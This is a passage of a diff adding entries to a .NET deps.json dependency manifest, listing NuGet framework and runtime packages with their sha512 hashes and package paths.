"sha512-kz0PEW2lhqygehI/d6XsPCQzD7ff7gUJaVGPVETX611eadGsA3A877GdSlU0LRVMCTH/+P3o2iDTak+S08V2+A==", + "path": "microsoft.netcore.platforms/1.1.0", + "hashPath": "microsoft.netcore.platforms.1.1.0.nupkg.sha512" + }, + "Microsoft.NETCore.Targets/1.1.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-aOZA3BWfz9RXjpzt0sRJJMjAscAUm3Hoa4UWAfceV9UTYxgwZ1lZt5nO2myFf+/jetYQo4uTP7zS8sJY67BBxg==", + "path": "microsoft.netcore.targets/1.1.0", + "hashPath": "microsoft.netcore.targets.1.1.0.nupkg.sha512" + }, + "Microsoft.Win32.Primitives/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-9ZQKCWxH7Ijp9BfahvL2Zyf1cJIk8XYLF6Yjzr2yi0b2cOut/HQ31qf1ThHAgCc3WiZMdnWcfJCgN82/0UunxA==", + "path": "microsoft.win32.primitives/4.3.0", + "hashPath": "microsoft.win32.primitives.4.3.0.nupkg.sha512" + }, + "Mono.Cecil/0.11.4": { + "type": "package", + "serviceable": true, + "sha512": "sha512-IC1h5g0NeJGHIUgzM1P82ld57knhP0IcQfrYITDPXlNpMYGUrsG5TxuaWTjaeqDNQMBDNZkB8L0rBnwsY6JHuQ==", + "path": "mono.cecil/0.11.4", + "hashPath": "mono.cecil.0.11.4.nupkg.sha512" + }, + "NETStandard.Library/1.6.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-WcSp3+vP+yHNgS8EV5J7pZ9IRpeDuARBPN28by8zqff1wJQXm26PVU8L3/fYLBJVU7BtDyqNVWq2KlCVvSSR4A==", + "path": "netstandard.library/1.6.1", + "hashPath": "netstandard.library.1.6.1.nupkg.sha512" + }, + "Newtonsoft.Json/13.0.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ppPFpBcvxdsfUonNcvITKqLl3bqxWbDCZIzDWHzjpdAHRFfZe0Dw9HmA0+za13IdyrgJwpkDTDA9fHaxOrt20A==", + "path": "newtonsoft.json/13.0.1", + "hashPath": "newtonsoft.json.13.0.1.nupkg.sha512" + }, + "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-HdSSp5MnJSsg08KMfZThpuLPJpPwE5hBXvHwoKWosyHHfe8Mh5WKT0ylEOf6yNzX6Ngjxe4Whkafh5q7Ymac4Q==", + "path": "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-+yH1a49wJMy8Zt4yx5RhJrxO/DBDByAiCzNwiETI+1S4mPdCu0OY4djdciC7Vssk0l22wQaDLrXxXkp+3+7bVA==", + "path": "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-c3YNH1GQJbfIPJeCnr4avseugSqPrxwIqzthYyZDN6EuOyNOzq+y2KSUfRcXauya1sF4foESTgwM5e1A8arAKw==", + "path": "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.native.System/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-c/qWt2LieNZIj1jGnVNsE2Kl23Ya2aSTBuXMD6V7k9KWr6l16Tqdwq+hJScEpWER9753NWC8h96PaVNY5Ld7Jw==", + "path": "runtime.native.system/4.3.0", + "hashPath": "runtime.native.system.4.3.0.nupkg.sha512" + }, + "runtime.native.System.IO.Compression/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-INBPonS5QPEgn7naufQFXJEp3zX6L4bwHgJ/ZH78aBTpeNfQMtf7C6VrAFhlq2xxWBveIOWyFzQjJ8XzHMhdOQ==", + "path": "runtime.native.system.io.compression/4.3.0", + "hashPath": "runtime.native.system.io.compression.4.3.0.nupkg.sha512" + }, + "runtime.native.System.Net.Http/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ZVuZJqnnegJhd2k/PtAbbIcZ3aZeITq3sj06oKfMBSfphW3HDmk/t4ObvbOk/JA/swGR0LNqMksAh/f7gpTROg==", + "path": "runtime.native.system.net.http/4.3.0", + "hashPath": "runtime.native.system.net.http.4.3.0.nupkg.sha512" + }, + "runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-DloMk88juo0OuOWr56QG7MNchmafTLYWvABy36izkrLI5VledI0rq28KGs1i9wbpeT9NPQrx/wTf8U2vazqQ3Q==", + "path": "runtime.native.system.security.cryptography.apple/4.3.0", + "hashPath": "runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512" + }, + "runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-NS1U+700m4KFRHR5o4vo9DSlTmlCKu/u7dtE5sUHVIPB+xpXxYQvgBgA6wEIeCz6Yfn0Z52/72WYsToCEPJnrw==", + "path": "runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-b3pthNgxxFcD+Pc0WSEoC0+md3MyhRS6aCEeenvNE3Fdw1HyJ18ZhRFVJJzIeR/O/jpxPboB805Ho0T3Ul7w8A==", + "path": "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-KeLz4HClKf+nFS7p/6Fi/CqyLXh81FpiGzcmuS8DGi9lUqSnZ6Es23/gv2O+1XVGfrbNmviF7CckBpavkBoIFQ==", + "path": "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-kVXCuMTrTlxq4XOOMAysuNwsXWpYeboGddNGpIgNSZmv1b6r/s/DPk0fYMB7Q5Qo4bY68o48jt4T4y5BVecbCQ==", + "path": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple/4.3.0", + "hashPath": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512" + }, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-X7IdhILzr4ROXd8mI1BUCQMSHSQwelUlBjF1JyTKCjXaOGn2fB4EKBxQbCK2VjO3WaWIdlXZL3W6TiIVnrhX4g==", + "path": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-nyFNiCk/r+VOiIqreLix8yN+q3Wga9+SE8BCgkf+2BwEKiNx6DyvFjCgkfV743/grxv8jHJ8gUK4XEQw7yzRYg==", + "path": "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ytoewC6wGorL7KoCAvRfsgoJPJbNq+64k2SqW6JcOAebWsFUvCCYgfzQMrnpvPiEl4OrblUlhF2ji+Q1+SVLrQ==", + "path": "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-I8bKw2I8k58Wx7fMKQJn2R8lamboCAiHfHeV/pS65ScKWMMI0+wJkLYlEKvgW1D/XvSl/221clBoR2q9QNNM7A==", + "path": "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-VB5cn/7OzUfzdnC8tqAIMQciVLiq2epm2NrAm1E9OjNRyG4lVhfR61SMcLizejzQP8R8Uf/0l5qOIbUEi+RdEg==", + "path": "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0", + "hashPath": "runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "System.AppContext/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-fKC+rmaLfeIzUhagxY17Q9siv/sPrjjKcfNg1Ic8IlQkZLipo8ljcaZQu4VtI4Jqbzjc2VTjzGLF6WmsRXAEgA==", + "path": "system.appcontext/4.3.0", + "hashPath": "system.appcontext.4.3.0.nupkg.sha512" + }, + "System.Buffers/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ratu44uTIHgeBeI0dE8DWvmXVBSo4u7ozRZZHOMmK/JPpYyo0dAfgSiHlpiObMQ5lEtEyIXA40sKRYg5J6A8uQ==", + "path": "system.buffers/4.3.0", + "hashPath": "system.buffers.4.3.0.nupkg.sha512" + }, + "System.Collections/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-3Dcj85/TBdVpL5Zr+gEEBUuFe2icOnLalmEh9hfck1PTYbbyWuZgh4fmm2ysCLTrqLQw6t3TgTyJ+VLp+Qb+Lw==", + "path": "system.collections/4.3.0", + "hashPath": "system.collections.4.3.0.nupkg.sha512" + }, + "System.Collections.Concurrent/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ztl69Xp0Y/UXCL+3v3tEU+lIy+bvjKNUmopn1wep/a291pVPK7dxBd6T7WnlQqRog+d1a/hSsgRsmFnIBKTPLQ==", + "path": "system.collections.concurrent/4.3.0", + "hashPath": "system.collections.concurrent.4.3.0.nupkg.sha512" + }, + "System.Console/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-DHDrIxiqk1h03m6khKWV2X8p/uvN79rgSqpilL6uzpmSfxfU5ng8VcPtW4qsDsQDHiTv6IPV9TmD5M/vElPNLg==", + "path": "system.console/4.3.0", + "hashPath": "system.console.4.3.0.nupkg.sha512" + }, + "System.Diagnostics.Debug/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ZUhUOdqmaG5Jk3Xdb8xi5kIyQYAA4PnTNlHx1mu9ZY3qv4ELIdKbnL/akbGaKi2RnNUWaZsAs31rvzFdewTj2g==", + "path": "system.diagnostics.debug/4.3.0", + "hashPath": "system.diagnostics.debug.4.3.0.nupkg.sha512" + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-tD6kosZnTAGdrEa0tZSuFyunMbt/5KYDnHdndJYGqZoNy00XVXyACd5d6KnE1YgYv3ne2CjtAfNXo/fwEhnKUA==", + "path": "system.diagnostics.diagnosticsource/4.3.0", + "hashPath": "system.diagnostics.diagnosticsource.4.3.0.nupkg.sha512" + }, + "System.Diagnostics.Tools/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-UUvkJfSYJMM6x527dJg2VyWPSRqIVB0Z7dbjHst1zmwTXz5CcXSYJFWRpuigfbO1Lf7yfZiIaEUesfnl/g5EyA==", + "path": "system.diagnostics.tools/4.3.0", + "hashPath": "system.diagnostics.tools.4.3.0.nupkg.sha512" + }, + "System.Diagnostics.Tracing/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-rswfv0f/Cqkh78rA5S8eN8Neocz234+emGCtTF3lxPY96F+mmmUen6tbn0glN6PMvlKQb9bPAY5e9u7fgPTkKw==", + "path": "system.diagnostics.tracing/4.3.0", + "hashPath": "system.diagnostics.tracing.4.3.0.nupkg.sha512" + }, + "System.Globalization/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-kYdVd2f2PAdFGblzFswE4hkNANJBKRmsfa2X5LG2AcWE1c7/4t0pYae1L8vfZ5xvE2nK/R9JprtToA61OSHWIg==", + "path": "system.globalization/4.3.0", + "hashPath": "system.globalization.4.3.0.nupkg.sha512" + }, + "System.Globalization.Calendars/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-GUlBtdOWT4LTV3I+9/PJW+56AnnChTaOqqTLFtdmype/L500M2LIyXgmtd9X2P2VOkmJd5c67H5SaC2QcL1bFA==", + "path": "system.globalization.calendars/4.3.0", + "hashPath": "system.globalization.calendars.4.3.0.nupkg.sha512" + }, + "System.Globalization.Extensions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-FhKmdR6MPG+pxow6wGtNAWdZh7noIOpdD5TwQ3CprzgIE1bBBoim0vbR1+AWsWjQmU7zXHgQo4TWSP6lCeiWcQ==", + "path": "system.globalization.extensions/4.3.0", + "hashPath": "system.globalization.extensions.4.3.0.nupkg.sha512" + }, + "System.IO/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-3qjaHvxQPDpSOYICjUoTsmoq5u6QJAFRUITgeT/4gqkF1bajbSmb1kwSxEA8AHlofqgcKJcM8udgieRNhaJ5Cg==", + "path": "system.io/4.3.0", + "hashPath": "system.io.4.3.0.nupkg.sha512" + }, + "System.IO.Compression/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-YHndyoiV90iu4iKG115ibkhrG+S3jBm8Ap9OwoUAzO5oPDAWcr0SFwQFm0HjM8WkEZWo0zvLTyLmbvTkW1bXgg==", + "path": "system.io.compression/4.3.0", + "hashPath": "system.io.compression.4.3.0.nupkg.sha512" + }, + "System.IO.Compression.ZipFile/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-G4HwjEsgIwy3JFBduZ9quBkAu+eUwjIdJleuNSgmUojbH6O3mlvEIme+GHx/cLlTAPcrnnL7GqvB9pTlWRfhOg==", + "path": "system.io.compression.zipfile/4.3.0", + "hashPath": "system.io.compression.zipfile.4.3.0.nupkg.sha512" + }, + "System.IO.FileSystem/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-3wEMARTnuio+ulnvi+hkRNROYwa1kylvYahhcLk4HSoVdl+xxTFVeVlYOfLwrDPImGls0mDqbMhrza8qnWPTdA==", + "path": "system.io.filesystem/4.3.0", + "hashPath": "system.io.filesystem.4.3.0.nupkg.sha512" + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-6QOb2XFLch7bEc4lIcJH49nJN2HV+OC3fHDgsLVsBVBk3Y4hFAnOBGzJ2lUu7CyDDFo9IBWkSsnbkT6IBwwiMw==", + "path": "system.io.filesystem.primitives/4.3.0", + "hashPath": "system.io.filesystem.primitives.4.3.0.nupkg.sha512" + }, + "System.Linq/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-5DbqIUpsDp0dFftytzuMmc0oeMdQwjcP/EWxsksIz/w1TcFRkZ3yKKz0PqiYFMmEwPSWw+qNVqD7PJ889JzHbw==", + "path": "system.linq/4.3.0", + "hashPath": "system.linq.4.3.0.nupkg.sha512" + }, + "System.Linq.Expressions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-PGKkrd2khG4CnlyJwxwwaWWiSiWFNBGlgXvJpeO0xCXrZ89ODrQ6tjEWS/kOqZ8GwEOUATtKtzp1eRgmYNfclg==", + "path": "system.linq.expressions/4.3.0", + "hashPath": "system.linq.expressions.4.3.0.nupkg.sha512" + }, + "System.Net.Http/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-sYg+FtILtRQuYWSIAuNOELwVuVsxVyJGWQyOnlAzhV4xvhyFnON1bAzYYC+jjRW8JREM45R0R5Dgi8MTC5sEwA==", + "path": "system.net.http/4.3.0", + "hashPath": "system.net.http.4.3.0.nupkg.sha512" + }, + "System.Net.Primitives/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-qOu+hDwFwoZPbzPvwut2qATe3ygjeQBDQj91xlsaqGFQUI5i4ZnZb8yyQuLGpDGivEPIt8EJkd1BVzVoP31FXA==", + "path": "system.net.primitives/4.3.0", + "hashPath": "system.net.primitives.4.3.0.nupkg.sha512" + }, + "System.Net.Sockets/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-m6icV6TqQOAdgt5N/9I5KNpjom/5NFtkmGseEH+AK/hny8XrytLH3+b5M8zL/Ycg3fhIocFpUMyl/wpFnVRvdw==", + "path": "system.net.sockets/4.3.0", + "hashPath": "system.net.sockets.4.3.0.nupkg.sha512" + }, + "System.ObjectModel/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-bdX+80eKv9bN6K4N+d77OankKHGn6CH711a6fcOpMQu2Fckp/Ft4L/kW9WznHpyR0NRAvJutzOMHNNlBGvxQzQ==", + "path": "system.objectmodel/4.3.0", + "hashPath": "system.objectmodel.4.3.0.nupkg.sha512" + }, + "System.Reflection/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-KMiAFoW7MfJGa9nDFNcfu+FpEdiHpWgTcS2HdMpDvt9saK3y/G4GwprPyzqjFH9NTaGPQeWNHU+iDlDILj96aQ==", + "path": "system.reflection/4.3.0", + "hashPath": "system.reflection.4.3.0.nupkg.sha512" + }, + "System.Reflection.Emit/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-228FG0jLcIwTVJyz8CLFKueVqQK36ANazUManGaJHkO0icjiIypKW7YLWLIWahyIkdh5M7mV2dJepllLyA1SKg==", + "path": "system.reflection.emit/4.3.0", + "hashPath": "system.reflection.emit.4.3.0.nupkg.sha512" + }, + "System.Reflection.Emit.ILGeneration/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-59tBslAk9733NXLrUJrwNZEzbMAcu8k344OYo+wfSVygcgZ9lgBdGIzH/nrg3LYhXceynyvTc8t5/GD4Ri0/ng==", + "path": "system.reflection.emit.ilgeneration/4.3.0", + "hashPath": "system.reflection.emit.ilgeneration.4.3.0.nupkg.sha512" + }, + "System.Reflection.Emit.Lightweight/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-oadVHGSMsTmZsAF864QYN1t1QzZjIcuKU3l2S9cZOwDdDueNTrqq1yRj7koFfIGEnKpt6NjpL3rOzRhs4ryOgA==", + "path": "system.reflection.emit.lightweight/4.3.0", + "hashPath": "system.reflection.emit.lightweight.4.3.0.nupkg.sha512" + }, + "System.Reflection.Extensions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-rJkrJD3kBI5B712aRu4DpSIiHRtr6QlfZSQsb0hYHrDCZORXCFjQfoipo2LaMUHoT9i1B7j7MnfaEKWDFmFQNQ==", + "path": "system.reflection.extensions/4.3.0", + "hashPath": "system.reflection.extensions.4.3.0.nupkg.sha512" + }, + "System.Reflection.Primitives/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-5RXItQz5As4xN2/YUDxdpsEkMhvw3e6aNveFXUn4Hl/udNTCNhnKp8lT9fnc3MhvGKh1baak5CovpuQUXHAlIA==", + "path": "system.reflection.primitives/4.3.0", + "hashPath": "system.reflection.primitives.4.3.0.nupkg.sha512" + }, + "System.Reflection.TypeExtensions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-7u6ulLcZbyxB5Gq0nMkQttcdBTx57ibzw+4IOXEfR+sXYQoHvjW5LTLyNr8O22UIMrqYbchJQJnos4eooYzYJA==", + "path": "system.reflection.typeextensions/4.3.0", + "hashPath": "system.reflection.typeextensions.4.3.0.nupkg.sha512" + }, + "System.Resources.ResourceManager/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-/zrcPkkWdZmI4F92gL/TPumP98AVDu/Wxr3CSJGQQ+XN6wbRZcyfSKVoPo17ilb3iOr0cCRqJInGwNMolqhS8A==", + "path": "system.resources.resourcemanager/4.3.0", + "hashPath": "system.resources.resourcemanager.4.3.0.nupkg.sha512" + }, + "System.Runtime/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-JufQi0vPQ0xGnAczR13AUFglDyVYt4Kqnz1AZaiKZ5+GICq0/1MH/mO/eAJHt/mHW1zjKBJd7kV26SrxddAhiw==", + "path": "system.runtime/4.3.0", + "hashPath": "system.runtime.4.3.0.nupkg.sha512" + }, + "System.Runtime.Extensions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-guW0uK0fn5fcJJ1tJVXYd7/1h5F+pea1r7FLSOz/f8vPEqbR2ZAknuRDvTQ8PzAilDveOxNjSfr0CHfIQfFk8g==", + "path": "system.runtime.extensions/4.3.0", + "hashPath": "system.runtime.extensions.4.3.0.nupkg.sha512" + }, + "System.Runtime.Handles/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-OKiSUN7DmTWeYb3l51A7EYaeNMnvxwE249YtZz7yooT4gOZhmTjIn48KgSsw2k2lYdLgTKNJw/ZIfSElwDRVgg==", + "path": "system.runtime.handles/4.3.0", + "hashPath": "system.runtime.handles.4.3.0.nupkg.sha512" + }, + "System.Runtime.InteropServices/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-uv1ynXqiMK8mp1GM3jDqPCFN66eJ5w5XNomaK2XD+TuCroNTLFGeZ+WCmBMcBDyTFKou3P6cR6J/QsaqDp7fGQ==", + "path": "system.runtime.interopservices/4.3.0", + "hashPath": "system.runtime.interopservices.4.3.0.nupkg.sha512" + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-cbz4YJMqRDR7oLeMRbdYv7mYzc++17lNhScCX0goO2XpGWdvAt60CGN+FHdePUEHCe/Jy9jUlvNAiNdM+7jsOw==", + "path": "system.runtime.interopservices.runtimeinformation/4.3.0", + "hashPath": "system.runtime.interopservices.runtimeinformation.4.3.0.nupkg.sha512" + }, + "System.Runtime.Numerics/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-yMH+MfdzHjy17l2KESnPiF2dwq7T+xLnSJar7slyimAkUh/gTrS9/UQOtv7xarskJ2/XDSNvfLGOBQPjL7PaHQ==", + "path": "system.runtime.numerics/4.3.0", + "hashPath": "system.runtime.numerics.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-W1kd2Y8mYSCgc3ULTAZ0hOP2dSdG5YauTb1089T0/kRcN2MpSAW1izOFROrJgxSlMn3ArsgHXagigyi+ibhevg==", + "path": "system.security.cryptography.algorithms/4.3.0", + "hashPath": "system.security.cryptography.algorithms.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.Cng/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-03idZOqFlsKRL4W+LuCpJ6dBYDUWReug6lZjBa3uJWnk5sPCUXckocevTaUA8iT/MFSrY/2HXkOt753xQ/cf8g==", + "path": "system.security.cryptography.cng/4.3.0", + "hashPath": "system.security.cryptography.cng.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.Csp/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-X4s/FCkEUnRGnwR3aSfVIkldBmtURMhmexALNTwpjklzxWU7yjMk7GHLKOZTNkgnWnE0q7+BCf9N2LVRWxewaA==", + "path": "system.security.cryptography.csp/4.3.0", + "hashPath": "system.security.cryptography.csp.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-1DEWjZZly9ae9C79vFwqaO5kaOlI5q+3/55ohmq/7dpDyDfc8lYe7YVxJUZ5MF/NtbkRjwFRo14yM4OEo9EmDw==", + "path": "system.security.cryptography.encoding/4.3.0", + "hashPath": "system.security.cryptography.encoding.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-h4CEgOgv5PKVF/HwaHzJRiVboL2THYCou97zpmhjghx5frc7fIvlkY1jL+lnIQyChrJDMNEXS6r7byGif8Cy4w==", + "path": "system.security.cryptography.openssl/4.3.0", + "hashPath": "system.security.cryptography.openssl.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-7bDIyVFNL/xKeFHjhobUAQqSpJq9YTOpbEs6mR233Et01STBMXNAc/V+BM6dwYGc95gVh/Zf+iVXWzj3mE8DWg==", + "path": "system.security.cryptography.primitives/4.3.0", + "hashPath": "system.security.cryptography.primitives.4.3.0.nupkg.sha512" + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-t2Tmu6Y2NtJ2um0RtcuhP7ZdNNxXEgUm2JeoA/0NvlMjAhKCnM1NX07TDl3244mVp3QU6LPEhT3HTtH1uF7IYw==", + "path": "system.security.cryptography.x509certificates/4.3.0", + "hashPath": "system.security.cryptography.x509certificates.4.3.0.nupkg.sha512" + }, + "System.Text.Encoding/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-BiIg+KWaSDOITze6jGQynxg64naAPtqGHBwDrLaCtixsa5bKiR8dpPOHA7ge3C0JJQizJE+sfkz1wV+BAKAYZw==", + "path": "system.text.encoding/4.3.0", + "hashPath": "system.text.encoding.4.3.0.nupkg.sha512" + }, + "System.Text.Encoding.Extensions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-YVMK0Bt/A43RmwizJoZ22ei2nmrhobgeiYwFzC4YAN+nue8RF6djXDMog0UCn+brerQoYVyaS+ghy9P/MUVcmw==", + "path": "system.text.encoding.extensions/4.3.0", + "hashPath": "system.text.encoding.extensions.4.3.0.nupkg.sha512" + }, + "System.Text.RegularExpressions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-RpT2DA+L660cBt1FssIE9CAGpLFdFPuheB7pLpKpn6ZXNby7jDERe8Ua/Ne2xGiwLVG2JOqziiaVCGDon5sKFA==", + "path": "system.text.regularexpressions/4.3.0", + "hashPath": "system.text.regularexpressions.4.3.0.nupkg.sha512" + }, + "System.Threading/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-VkUS0kOBcUf3Wwm0TSbrevDDZ6BlM+b/HRiapRFWjM5O0NS0LviG0glKmFK+hhPDd1XFeSdU1GmlLhb2CoVpIw==", + "path": "system.threading/4.3.0", + "hashPath": "system.threading.4.3.0.nupkg.sha512" + }, + "System.Threading.Tasks/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-LbSxKEdOUhVe8BezB/9uOGGppt+nZf6e1VFyw6v3DN6lqitm0OSn2uXMOdtP0M3W4iMcqcivm2J6UgqiwwnXiA==", + "path": "system.threading.tasks/4.3.0", + "hashPath": "system.threading.tasks.4.3.0.nupkg.sha512" + }, + "System.Threading.Tasks.Extensions/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-npvJkVKl5rKXrtl1Kkm6OhOUaYGEiF9wFbppFRWSMoApKzt2PiPHT2Bb8a5sAWxprvdOAtvaARS9QYMznEUtug==", + "path": "system.threading.tasks.extensions/4.3.0", + "hashPath": "system.threading.tasks.extensions.4.3.0.nupkg.sha512" + }, + "System.Threading.Timer/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-Z6YfyYTCg7lOZjJzBjONJTFKGN9/NIYKSxhU5GRd+DTwHSZyvWp1xuI5aR+dLg+ayyC5Xv57KiY4oJ0tMO89fQ==", + "path": "system.threading.timer/4.3.0", + "hashPath": "system.threading.timer.4.3.0.nupkg.sha512" + }, + "System.Xml.ReaderWriter/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-GrprA+Z0RUXaR4N7/eW71j1rgMnEnEVlgii49GZyAjTH7uliMnrOU3HNFBr6fEDBCJCIdlVNq9hHbaDR621XBA==", + "path": "system.xml.readerwriter/4.3.0", + "hashPath": "system.xml.readerwriter.4.3.0.nupkg.sha512" + }, + "System.Xml.XDocument/4.3.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-5zJ0XDxAIg8iy+t4aMnQAu0MqVbqyvfoUVl1yDV61xdo3Vth45oA2FoY4pPkxYAH5f8ixpmTqXeEIya95x0aCQ==", + "path": "system.xml.xdocument/4.3.0", + "hashPath": "system.xml.xdocument.4.3.0.nupkg.sha512" + } + } 